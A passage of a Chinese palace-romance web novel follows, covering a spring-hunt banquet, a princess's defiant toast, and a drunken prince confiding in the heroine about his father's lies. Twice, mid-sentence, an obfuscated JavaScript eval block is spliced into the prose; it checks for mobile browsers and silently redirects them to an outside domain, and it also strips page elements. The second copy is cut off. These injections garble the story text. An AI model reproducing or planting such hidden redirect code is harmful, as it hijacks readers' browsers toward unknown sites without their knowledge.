酒酣时刻,上首的皇帝与西凌王互相敬起酒来,下首的众人随即也开始沿着席位敬起来。 太子谢怀衍率先向着西凌世子赫连重骁举杯,两人斟饮了好几盏酒。而姜清窈等人见状,也彼此敬了几杯。 姜清窈多饮了几杯,只觉得心跳得愈发急了,便放下酒盏,打算先吃些肉菜,缓一缓。 她刚尝了块烤肉,却见眼前覆盖下一片阴影,却是西凌世子赫连重骁正在依次向宣朝众人敬酒。他面上带着和煦的笑,到每人面前时都会说一句相同的祝酒词,再饮尽杯中酒。 敬完姜清窈,赫连重骁行至谢瑶音面前,向着她举起酒杯,笑道:“公主,请。” 谢瑶音酒量甚豪,接连饮了好几盏酒,除去面颊微微泛红,并无其他异样。此刻她见状,便也再度替自己斟满酒,与赫连重骁轻轻一碰,随即一饮而尽,笑道:“多谢。” 赫连重骁亦笑着,低声说了句西凌语。谢瑶音只道是什么祝酒词,并未在意,只笑盈盈向着他颔首。 姜清窈留神细听了一下,这位世子对其他人敬酒时,并未说过这句话。她心念一转,面上浮起一丝玩味的笑。 姑娘们彼此对饮后,本打算安静坐下用些食物,谁知傅宝吟率先起身,袅袅婷婷走到了太子面前,婉声道:“臣女敬太子殿下。” 她身穿一袭葱绿色衣裙,显得身姿窈窕夜色中,她红唇扬起笑容,轻轻靠近太子,周身的香气混合着酒香味,缓慢把谢怀衍包围住。 谢怀衍抬眸,对上她流转的眼波。他的目光不易察觉扫视了远处的姜清窈,见她正在同旁人说话,并未注意这边,这才举杯,饮下了一杯酒。 傅宝吟双颊晕红,很快回到了自己的坐席上。有她开了这个头,谢瑶音等人便只能起身,分别向太子敬酒。 然而,唯独闻萱宜坐在远处一动不动。她今晚很少饮酒,只喝了半碗西凌特有的牛乳茶,简单用了些烤肉,余下时间便一直在出神。 姜清窈回到座位,忍不住瞧了她几眼,见闻萱宜神情怔忡,犹豫了一下,低声问道:“郡主是身子不适吗?似乎今晚并不曾用多少膳食。” 闻萱宜本正发着呆,不防身边的人忽然说话。她愣了片刻,徐徐转头,对上少女关切的目光,摇了摇头道:“我没事,多谢姜妹妹关心。” 她身后陪侍的不是侍女,而是一个年纪略长的嬷嬷。那嬷嬷一直不悦地皱着眉,似乎对闻萱宜的举动很不满。 四处人声嘈杂,歌舞声喧嚣,让人听不清角落里两人的对话。 那嬷嬷压低声音道:“郡主,您是忘了来时长公主的嘱咐吗?” 闻萱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13856159|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜的声音很冷淡:“不曾忘记。” “既然不曾忘,您为何还坐在这里不动?您瞧,方才那位傅姑娘多乖觉,主动向殿下敬了酒,余下的姑娘们也都前去,唯独您没有敬酒,这不太妥当。”嬷嬷道。 闻萱宜低低地冷笑了一声:“敬了又如何?不敬又能如何?” 嬷嬷有些急切:“上回冬祈,您便不曾按长公主的嘱咐多与太子殿下接触。此次春猎之前,长公主千叮咛万嘱咐,让您一定要设法多与太子殿下结交,让他记住您,您为何就是不听?如今太子妃之位既然尚未定下,那么郡主便还有希望。” 她见闻萱宜一言不发,又道:“那位傅姑娘乃是贵妃引荐入宫的,必然也是冲着太子妃的位置去的。她不过是个寻常贵女,哪里有郡主的身份尊贵?难道郡主甘心看着她后来居上,得了太子殿下的青眼吗?” “郡主,您自小在宫中念书上学,论起来,您与太子殿下相识最久,可为何却与他最生疏?以郡主的才貌,但凡多在殿下面前露个脸,他一定会对您有所注意的。”嬷嬷恨铁不成钢。 闻萱宜神色漠然:“太子殿下什么女子没见过,又怎么会对我多加留意?” 嬷嬷叹气道:“郡主,算起血脉,你与太子殿下才是最亲近的姑表兄妹。至于那位姜姑娘,不过是担了个名头,谁不知道她其实并不是——” “嬷嬷!”闻萱宜冷声斥道,“慎言。你不必将旁人扯进来。” “郡主,长公主嘱咐老奴务必要盯着您敬酒,还请郡主照做,不仅要敬酒,您还须得设法与太子殿下攀谈几句,”嬷嬷摆起了架子,一声声催促着,“郡主若是成了太子妃,那便会给闻家带来满门荣耀,长公主和驸马也会欣慰的——” 嬷嬷喋喋不休,声音如杂草般缠绕在耳边和心头,滋生出难以克制的烦躁。诸如此种的琐碎之言,闻萱宜自小至今已从母亲口中听了不知多少遍。那熟稔的字字句句如针尖一般戳在她心上,刺得一阵烦闷的生疼。须臾,那点疼痛和失望汇聚成一股莫名的恼怒与赌气,闻萱宜闭了闭眼,轻咬了一下唇,忽然露出一抹意味不明的冷笑。 她慢慢伸手,给自己面前的杯子斟满了酒,然后端着它站起了身。 嬷嬷愣了愣,随即满脸喜色,抑着惊喜小声道:“郡主,如此甚好,您便安安稳稳地向太子殿下敬一杯酒,说几句吉祥话,老奴也好向长公主交差。” 她满意地看着闻萱宜起身,端着酒杯缓缓向前走去,却陡然愣住,笑容凝固在面上,进而迸发出难以置信的神情。 “咦,窈窈你瞧郡主姐姐,她这是要——”谢瑶音这会子有些头晕,便软软地靠在姜清窈肩头,醉眼乜斜,迷迷糊糊看着闻萱宜从眼前走过。待看清她在何处站定后,立刻瞪大了眼睛,坐直了身子,不忘扯了姜清窈一把。 姜清窈本以为闻萱宜是要向太子敬酒,却见她衣袂蹁跹,步伐缓慢,最终停在了一个意想不到的人面前。 三皇子谢怀壑坐在那里,正自斟自饮,侧影显得有些莫名的寂寥。不想一阵浅淡的冷香拂过面前,他一呆,转过头去。 荣安郡主立在面前,端着酒盏,稍稍凑近了些。 她启唇,声音泠然如玉石: “臣女敬三殿下一杯。” 36. 谎话 周遭鼎沸的人声仿佛尽数远去,只余下少女不带感情的字句。三皇子愣怔了许久,直到看见那弯远山眉似蹙非蹙,这才回神,忙端起酒盏起身,与她轻轻一碰:“......郡主客气。” 闻萱宜颔首,饮尽杯中酒后,很快转身便走了,留下三皇子神色茫然地站在原地,看着她的背影疑惑不已。 他与荣安郡主素来生疏,不过点头之交而已,私下更没什么来往,实在不知她为何会好端端地走过来,单独敬了自己一杯酒。 三皇子看着荣安郡主步伐轻快而迅疾,很快回到了她的坐席上。她面上一派轻松神色,唇角似笑非笑,似乎做了一件相当畅快的事情。他凝神思索了片刻,却也没想出头绪,转念一想,许是她一时兴起,倒也不值得深究,便继续饮起酒来。 姜清窈与谢瑶音对视一眼,都觉得有些反常。两人忍不住转头悄悄去看闻萱宜,却见她身后站着的那位老嬷嬷神情颇为不快,语气更是急促了不少,对着她不住地责怪。但闻萱宜恍若未闻,只把老嬷嬷气得说不出话来。 谢瑶音低声向姜清窈道:“那位嬷嬷我知道,是姑母当年的陪嫁侍女,这些年帮着姑母操持公主府的诸多事宜,很得姑母倚重。此次春猎路上,我曾几次听见她对郡主的事情指指点点,俨然又是一个倚老卖老之辈。” 姜清窈担心她的话被听见,便咳嗽了几声盖了下去。 眼看宴饮终了,皇帝向着身边的内侍说了几句什么,便起身邀着西凌王夫妇入他的帐子再单独饮几杯。姜清窈抬眼一望,却恰好看见那内侍小步快跑至谢怀琤面前低语了几句,后者面无表情,只淡淡点了点头,随即离席。 太子身为储君,便替皇帝主持大局,吩咐众位宫人将宴席撤去,送各位姑娘回各自的帐子。姜清窈站起身,揉了揉微热的额头,只觉得双颊滚烫,那酒气被炭火一熏染,愈发浓重了起来。 谢瑶音早已困倦,只勉力支撑着,见姜清窈不打算回去,便强打起精神准备陪她一道散步。姜清窈见她不断地打着哈欠,便道:“阿瑶,不必担心我,我只在这附近略走一走。微云跟着我,四周也都有守卫,不会有事的。” 她见谢瑶音还有些迟疑,又笑道:“你忘了,哥哥此次也一同来了这里,总领着这猎场的戍卫职责。有他在,我定不会有事的。” 谢瑶音拍了拍额头:“正是。既然表哥在,那我就安心了。” “既如此,那窈窈你......早些回去。”她搭着侍女的手,叮嘱了几句,这才往帐子走去。 送走谢瑶音,姜清窈这才转身往远离营地的地方走去。 “姑娘当心脚下。”微云轻声提醒。 草原上的晚风格外凉,吹得百草簌簌作响。姜清窈往不远处走了走,渐渐觉得乏了,便索性寻了处草坡坐下,仰头瞧着那低垂的夜空。 此处依然能听见那边热闹的人声,倒也不显得寂寥。姜清窈双手抱膝,缓缓吐出一口气。 “姑娘是有什么心事吗?”微云静待半晌,问道。 姜清窈低眸,道:“在宫中待久了,便会不自觉地常常心有戚戚。想起父亲临行前的嘱托,我必得万事谨慎小心,不能踏错一步。” 夜愈发静了,隐约能听见草坡不远处的河流声。微云看向姜清窈,见她神色如常,便试探着道:“奴婢觉得,姑娘如今似乎不再像从前那般惧怕流水了?” 姜清窈怔了怔,细细回想起来。自打入宫来,她为数不多的几次经过水面,起初确实有些后怕,但不过片刻后便能够静下心来,不会再想起幼时那一幕幕。而每次在水边,她仿佛都能够遇到同一个人。 她回神,淡淡笑了笑道:“许是年岁长了,便不似孩童时那样胆小怯弱了。” 微云点头,片刻后又悄声道:“奴婢想起来了,那一回冬祈时,姑娘无意间走到了烟波池畔。原本奴婢还有些担忧,瞧姑娘的脸色也不甚好,但后来遇到了五殿下,与他三言两语说下来,姑娘便不再有畏惧之色了。” 骤然听她提起谢怀琤,姜清窈不知为何心头一晃,仿佛烛火被无意间透进来的一阵风拂乱,吹得摇曳晃荡。她想起方才宴上谢怀琤的模样,愈发觉得奇怪。 “其实奴婢看得真切,姑娘一直没有忘却过从前的相识之情,才会一而再再而三去靠近五殿下,”微云低声道,“起初奴婢觉得他阴沉寡言,实在不值得姑娘这般做。可日子长了,奴婢倒觉得他比太子殿下易接近多了。” 姜清窈沉默良久,道:“为何这么说?” “太子殿下看着温和,但其实最疏离,他的笑容让奴婢觉得像是戴了一副面具;而五殿下看似冷情,但其实心思细腻,”微云道,“便如那日在烟波池畔,奴婢瞧着真切,五殿下看出了姑娘的不自在,便悄悄挪了几步,替姑娘挡住了面前的水面。” “什么?”姜清窈一时愣怔,喃喃反问。 微云忽而止住话头,小声道:“姑娘,有人来了。” 姜清窈忙转头望去,却见数步开外,一个人步履不稳地走着。他的袍角被风吹得轻微摆动,勾勒出高大而瘦削的身形。一旁的人搀扶着他,不断劝道:“殿下,您醉了,还是回去歇息吧。” 她定睛一看,不觉一惊,道:“五殿下?” 谢怀琤并未听见她这声呼唤,目光毫无焦距地望向前方。倒是旁边的福满闻声,面上掠过一丝讶异:“姜姑娘?您怎的也在这里?” 此话一出,方才还跌跌撞撞的谢怀琤顿时止住了步子,定定地站在原地,呆呆地迎上姜清窈探寻的目光。他面色泛红,眼底一片萧索。那朦胧的醉意布满眉梢眼角,还隐约含着几分挣扎。 很快,他大约是认出了她,比方才更加快了步子。虽然脚下依然有些不稳当,但目标却很明确。 “这么晚了,殿下怎么还没有回帐子休息?”姜清窈问道。 微云看着心急,低声道:“姑娘,五殿下似乎喝醉了。” 姜清窈点头:“微云,你先去那边等我,我同他说几句话,想法子劝他回去。” 微云担忧道:“若是他一时不清醒,不慎冲撞或是冒犯了姑娘该如何是好?” “我相信他不会的,”姜清窈轻叹一声,“放心。若是有事,我便高声唤你。” 微云一步三回头地走远了,福满见状,迟疑了一下,也退了下去,一时间这草坡上只余下了两人。姜清窈看着谢怀琤一步步走了过来,却在即将靠近自己时霍然止住了步伐,转而脱力一般在草坡上坐了下来。 他并未盯着她看,而是怔怔地看着正前方。 “殿下,你怎么了?为何这个时辰还在外头?”姜清窈柔声问道。 谢怀琤似乎短促地笑了一声,说道:“刚从父皇那里出来。” 姜清窈屏息,问道:“殿下......还好吗?”她看着谢怀琤的神色,疑心他是不是又因什么微末的事情遭了皇帝训斥。 “不,”他摇了摇头,唇角带笑,声音却冰凉一片,“父皇并没有像往日那样不分青红皂白地斥责我。” “他反倒给了我极大的恩宠,”谢怀琤讽刺地勾唇,“可正如我所料定的那样,不过就是做给外人看的罢了。” 姜清窈越听越觉得满腹疑惑。难道真如她最先猜测的那样,皇帝赏赐他衣裳,只是为了在西凌人面前显示对诸皇子一视同仁的恩宠?可若真是这个缘故,为何单单只赏赐谢怀琤一人? 谢怀琤低头,淡淡扫了眼身上衣裳的花色,再度逸出一丝冷笑:“这身不合身的衣裳今日能穿在我身上,竟是因为一句莫须有的谎话。可我迫于他的皇权,还得亲口承认那句虚情假意的话是真的,当真是讽刺得很。” 大约是醉了的缘故,谢怀琤的话絮絮叨叨却又让人摸不清头脑。姜清窈没急着追问,而是沉默着,等待着他再度开口。 “何其可笑......难道他以为几句粉饰太平的话,便能够将那些年的一切都抹去吗?”谢怀琤喃喃道。 许久,姜清窈轻声问道:“这件事......是与西凌有关吗?” 谢怀琤低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢怀琤点了点头,随即又摇头,冷冷笑道:“前些年,西凌国内争斗不断,西凌王夫妇终日在朝局漩涡中浮沉,多次起起落落,王妃无暇关注、也没有法子探听到母妃的讯息,因此她并不知我的存在。如今西凌王位落定,王妃只以为母妃尚在人世,才会在此时向父皇问起她的消息。” 他的手有些颤抖:“若非如此,父皇怎会忽然对我和颜悦色起来?他无法隐瞒母妃故去的事实,只能命我前去拜见王妃,三令五申,让我不得将过往的实情泄露半点。” 姜清窈感受到他掌心的寒意,便情不自禁想要将自己手中的暖意传递给他。谢怀琤握住她手的动作松了松,颓然道:“父皇让王妃以为,母妃只是......只是秉性柔弱,才会病逝。而他心念母妃,自然百般疼爱她唯一的孩子。” 他说着,眼角有些发红,声音也哽咽了起来:“何其可笑?他分明是那样一个铁石心肠的人,竟还能在王妃面前表现得舐犊情深!” 谢怀琤用另一只手狠狠捶了一下草地,咬牙道:“听着他那些情真意切的话,几乎连我都险些信以为真了,真的以为他是这天底下最好的夫君和父亲。他甚至......还能够对着西凌王妃掉下几滴真真假假的眼泪,让王妃亦感念不已。” 他笑容苍凉,眼角沁出了泪痕:“我多想告诉王妃,他所说的一切都是假的!可我......不能,我只能说出一句又一句谎话。” 谢怀琤缓缓收回手,覆住了脸,声音低哑而沉闷:“我对不住母妃,我只能眼睁睁看着自己去欺骗母妃曾经的至交。母妃若是知晓,会不会恼我?” “殿下......”姜清窈心中酸楚。她知道,没有人能够抗争过天子之威。以谢怀琤如今的地位,他注定没有办法违逆皇帝,只能逼迫自己去说出那些违心的话。 一个饱受冷待的皇子,分明尝过了最多的苦和泪,却还要咽泪装欢,强扮出一副笑脸,竭力去描述皇帝的恩宠和疼爱,将那些悲惨晦暗的往事尽数撇去,用那些空洞的字句去编造、去美化从未发生过的事情。 她情不自禁伸手,拂过谢怀琤的衣袖。他似有所感,那双带着湿意的眼睛陡然望向她,一眨不眨。 “窈窈,”他声音嘶哑,带着似悲似喜的醉意,“我是不是......很没用?” 37. 盘算 这是姜清窈第一回清清楚楚听着他这样唤自己。她双肩一颤,看向谢怀琤,见他神色并不甚清明,眼底迷乱空茫,显然还沉溺在醉意之中。若不是醉了,他定不会将这些肺腑之言对自己倾诉。 或许明日,他便会把今晚的一切都忘记。即便如此,姜清窈还是握住了他的衣袖,沉声说道:“不,殿下,你切勿妄自菲薄。” “这些年你所经受的苦楚,本就非常人能受得起的。可你却苦苦坚持了这么久,便可知你的心志胜过寻常人,”她攥紧了那一小块布料,想要把那股力道传给他,“秋娘娘不会怪你的。她那样温柔,那样通情达理,怎会怨你一时的隐忍呢?” 女子清丽的眉眼在眼前浮现,姜清窈低头看着自己衣裙上的宫绦,情不自禁眼圈发红。 “真的吗?”谢怀琤望着她,神情是显而易见的脆弱,“你不骗我吗?” 姜清窈用力摇头:“殿下,我从不说谎。” 他的唇轻轻扯了扯,一点细碎的笑意转瞬即逝。顺着姜清窈的目光,谢怀琤慢慢看向了那宫绦,原本黯淡的神情迸出一点微弱的亮光。他呢喃了一句什么,伸出手,似乎想抓住它。 须臾,他的呼吸变得轻而绵长。姜清窈只觉得肩头一沉,却是他悄然靠在了自己肩上,整个身子都失了重心,只向着她倾落。 谢怀琤的呼吸灼热细密,尽数落在了她颈侧,激起连绵不断的痒意。姜清窈本想推开他,可一侧眸看见他难得安稳的睡颜,便不忍地止住了动作。 好在福满和微云很快赶了过来,连拖带拽地将谢怀琤扶了起来。福满向着姜清窈连声赔礼,这才负起谢怀琤,跌跌撞撞地往营帐走去。 “姑娘,我们也快些回去吧。”微云道。 姜清窈愣怔了片刻,点头:“好。” 回到营帐门前,她深吸了一口气,这才掀开帐子步入其中。 微云点亮烛火,打来热水服侍她洗漱。 姜清窈盘膝坐在地毯上,正自出神,却听见帐子外有人扣门。 “谁?”微云扬声问道。 外面静了静,紧接着是姜湛的声音:“是我。” “哥哥?”姜清窈起身,诧异道,“这么晚了,你还未歇息?” 姜湛道:“我今晚值夜,这会子恰好是换防,便顺便来看你一眼。” 他见妹妹面颊上似乎有泪痕,顿时变了色:“窈窈,你怎么哭了?”又打量了一眼帐内布置,这才明白过来:“这个时辰,你才回来?” 姜清窈暗恼自己露了馅,见哥哥面色严肃,自知无法隐瞒,便低声解释了实情,只不过将谢怀琤所言的事情隐去。姜湛听后,眉头依然紧蹙,说道:“即便如此,你也不该独自一人在外耽搁这么久。” “哥哥,”她轻轻唤了一声,“我明白你是关心我。只因我把五殿下当作朋友,因此才愿意听他说了一些话。” 姜湛心中忽然浮起一个念头,然而看着妹妹澄澈的眼神,却还是将本欲出口的话咽了回去,只道:“往后切不可如此了。若是陛下或是姑母忽然传召,你又当如何?” 说到这里,他起身出去,又仔细问了帐外戍守的侍卫几句话,片刻后才返身回来,说道:“今晚,太子曾在你帐外徘徊许久。” 姜清窈惊愕不已:“太子殿下?他怎会——” 姜湛低声道:“守在你帐外的兵士是我的旧识,算是自己人,信得过。我方才已问了他,宴席散后,太子曾若有所思来到帐外,看着烛火熄灭,又待了片刻才离开。” 姜清窈忽觉不安:“难道太子殿下察觉到我去了何处?” “应当不会,”姜湛摇头,“我今晚着意看过,他的帐子一直灯火通明,应当没有离开营地。” “只是窈窈,我总觉得太子殿下......心中藏着什么与我们相关的事。”他顿了顿,沉声道。 姜清窈面色有些发白。姜湛见状,自悔失言,忙安慰道:“这只是哥哥信口开河,你不必放在心上。兴许太子只是一片关怀之意。” 他说着,拍了拍她的肩:“时辰不早了,你早些歇下吧。今晚我就在你帐子附近,你安心睡吧。” 送走了姜湛,姜清窈换了衣裳,在卧榻上躺下。烛火熄灭,她却兀自盯着帐顶,眼前挥之不去的是谢怀琤那无所依的模样,只觉得心仿佛揪在了一处似的。 一夜无梦。 第二日姜清窈醒得很早,耳听得帐外草原还一片沉寂。然而睡意已然消散,她索性起身,收拾停当后步出了帐子。 晨起的空气十分清新,带着草原特有的气息与凉意,扑面而来。姜清窈走了几步,却看见一个身影自不远处缓步而来。 她定睛一看,旋即屈膝道:“见过殿下。” 太子谢怀衍含笑道:“表妹免礼。怎么醒得这样早?是不是有些不习惯?” 姜清窈摇头,微笑道:“多谢殿下关心,我一切都习惯。” 谢怀衍笑容微敛,眸色变得幽深。眼前的少女永远对他恭敬而疏离,没有半点多余的情分,更不会像旁人那样,对自己会偶尔露出一丝羞涩的神情。 还是说,她所有羞涩和欣喜的模样,只会在另一个人面前出现?谢怀衍面色变得阴沉,他想起前些日子偶然听见的那段往事,藏在袍袖中的手不动声色地收紧。 再度松开时,他面上已然恢复如常,笑着向姜清窈道:“方才我从母后那边过来,她应当快摆早膳了,表妹不如前去一同用吧。” 姜清窈颔首:“谢殿下告知。” 谢怀衍袍袖一摆,便从容地自她身畔离开。 姜清窈没有去留意谢怀衍的模样,她理了理鬓发,便往皇后帐子行去。 * 在皇后这里用完了早膳,谢瑶音起身漱了漱口,便欲告退。 皇后见她这样心急,便问道:“阿瑶,你这样急匆匆的,是要去哪?” 谢瑶音站定,略微迟疑,道:“母后,我与......世子约好了,今日一道赛马。” 皇后蹙眉:“西凌的那位世子?你们何时这般熟稔了?” 谢瑶音说道:“不过是昨日才有所来往。我很钦佩他的马术,想要向他讨教一番。正好世子也想再同我比试,我便答应了。” 她眨了眨眼,又道:“况且父皇不是说,明日要举办一场赛马大赛,我可不能失了大宣的威风,自然得趁今日好生练习了。” 皇后有些头疼地揉了揉额角,无奈一笑:“你这孩子,还是这般好动,不肯安安静静待在帐子里。罢了,你多带几个侍候的人,骑马时当心,莫要让自己受了伤,早些回来。” “谢母后!”谢瑶音干脆地应了,又向着姜清窈挥了挥手,便很快掀帘离开了。 皇后瞧着她欢天喜地的背影,无奈道:“好好的一个女孩儿家,整日就想着骑马射箭。若是旁人不知道,还以为她和你掉了个个,心想她才是出身将门的女孩儿呢。” 姜清窈笑道:“阿瑶喜欢骑马有何不好吗?她身子强健,甚少生病,皆是素日爱武学的缘故。” “罢了,既然来了猎场,我也不愿拘束了她,”皇后靠在身后的软枕上,“窈窈,你不必守在我这儿,也去草地上透透气才是。好容易出宫一趟,可别整日闷在帐子里了。” “姑母放心,我心中有数。”姜清窈又陪着皇后说了会话,见皇后要去给皇帝请安,才告辞出来。 她在营地漫无目的地走了一会,正觉得百无聊赖时,一个声音在背后唤她:“姜姐姐。” “四公主?”姜清窈回头,见谢凝玉穿了身葱青色的骑装,这样雅致的颜色,衬得她眉眼愈发清秀可人。 “姜姐姐,二姐姐同你在一起吗?”谢凝玉问道。 她犹豫着道:“我昨日问二姐姐,今日能不能陪我一道练练骑马,她答应了,可这会子我却没找到她。” 姜清窈了然,心想谢瑶音定是忘了,便道:“她同我说过此事。阿瑶如今正在那边赛马的地方,她叮嘱过我同你一起过去找她。” 谢凝玉松了口气,笑道:“那就好。” 两人刚走出去几步,便碰见了太子和姜湛。 “四妹妹和表妹这是要去骑马?”谢怀衍面带笑意问道。 谢凝玉对这位兄长一向有些拘谨,便小声道:“正是。” 谢怀衍看了眼姜清窈,说道:“正好,我与明然也打算去松松筋骨。既如此,我们便一起吧。” 有太子在,余下三人都沉默了许多。好在去赛马之处的路并不远,待到了那片开阔的草原,谢怀衍道:“听说阿瑶在与世子赛马?我们来得正好,可以一观。” 几人四下一看,却见两人似乎已经比试完了。谢瑶音正翻身下马,抬手拂过鬓发,见到几人,便挥了挥手。 谢怀衍道:“怎么不见世子?”话音一落,几人便见赫连重骁和一个人并肩自另一边 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他见众人都静静站着不作声,便道:“大家不必拘束,若是要骑马便去吧。明然,我们许久不曾比试了,今日可得尽兴一番。” 姜湛躬身:“殿下请。” 待他二人走远,谢凝玉才鼓起勇气向谢瑶音道:“二姐姐,我......晨起后没见到你,便直接来这儿找你了。” 谢瑶音恍然,连声道:“我险些忘了昨日答应你的话。四妹,跟我来吧。” 赫连重骁见状,问道:“两位公主是要比试赛马吗?” 谢凝玉面色涨红,摇了摇头道:“我不擅骑术,所以麻烦二姐姐教我。” “原来如此,”赫连重骁笑着看向谢瑶音,“原来公主不仅有一身好骑术,还是一位好老师。” 几人说笑几句,便各自骑上马,在草原上或散步或策马起来。姜清窈任由马儿慢腾腾走着,她则凝神去看草原上的风光。 遐山是连绵起伏的群山,最高处几乎直插云霄,而此处距离它的一座支脉小山很近。这座小山较为低矮,有个诨名叫“望水山”,因为与草原之间隔着河流而得名。姜清窈纵目远望,看见有一条策马的路是直通这座小山的,看起来是个赛马的好去处。想来明日那场浩大的比试,便会以此为路了。 她漫无目的地走了一会,余光瞥见谢怀琤亦在远处。他今日的眼神看起来清明了许多,看见她时的神色也一如往常。姜清窈猜测,他应当把昨日醉酒后的那番言语忘了。 忘了也好,这样她面对他时便能自在些。否则,她一走神,便仿佛又能听见那声“窈窈”,气息灼热而绵长,烫得人心中发慌。 悠悠然走了一圈回来,谢瑶音和谢凝玉恰好也回到了起点处。赫连重骁正向着望水山眺望着,浓眉轻拧,似乎有什么为难之事。 “世子怎么愁眉不展的?莫不是在想明日的比试?”谢瑶音笑着玩笑道。 “公主取笑了,”赫连重骁回神,笑道,“我只是在留神看那边山上的路线。” 谢瑶音甩了甩马鞭,道:“这条路如此开阔,果真是赛马的好去处。” 她说着,又看着赫连重骁,抿嘴笑道:“世子小心了。我这几位皇兄和表兄,个个都是赛马的好手,未必就会输给你们西凌。” 赫连重骁注视着她,含笑颔首:“在下也很期待一睹公主的风姿。” “既然世子这样说了,”谢瑶音眉眼轻扬,面上带笑,“明日见。” 赫连重骁拱手:“自当恭候公主。” “窈窈,四妹妹,明日你们也一道参加吧。”谢瑶音向着两人道。 姜清窈点头应下,谢凝玉则有些迟疑,道:“二姐姐,我如今的骑术......” “放心,”谢瑶音挥了挥手,“父皇定不会放心我们多么正经地比试,左不过是许我们随意策马跑动罢了,明日的赛马定是以青年郎君们为主。” 姜清窈见谢凝玉虽有忐忑之色,但亦有期待,便道:“四公主不必担心,明日我和阿瑶会陪在你左右,定不会让你受惊或是出了意外。” 谢凝玉展颜一笑,略带羞涩:“多谢二姐姐和姜姐姐。” 几人说笑一番,便各自散去。谢怀衍留在原地,目光投向那个素来寡言的少年,面色晦暗难言。 他回想起方才听见的那番话,又望了一眼那一匹匹飞驰的骏马,忽而沉沉一笑。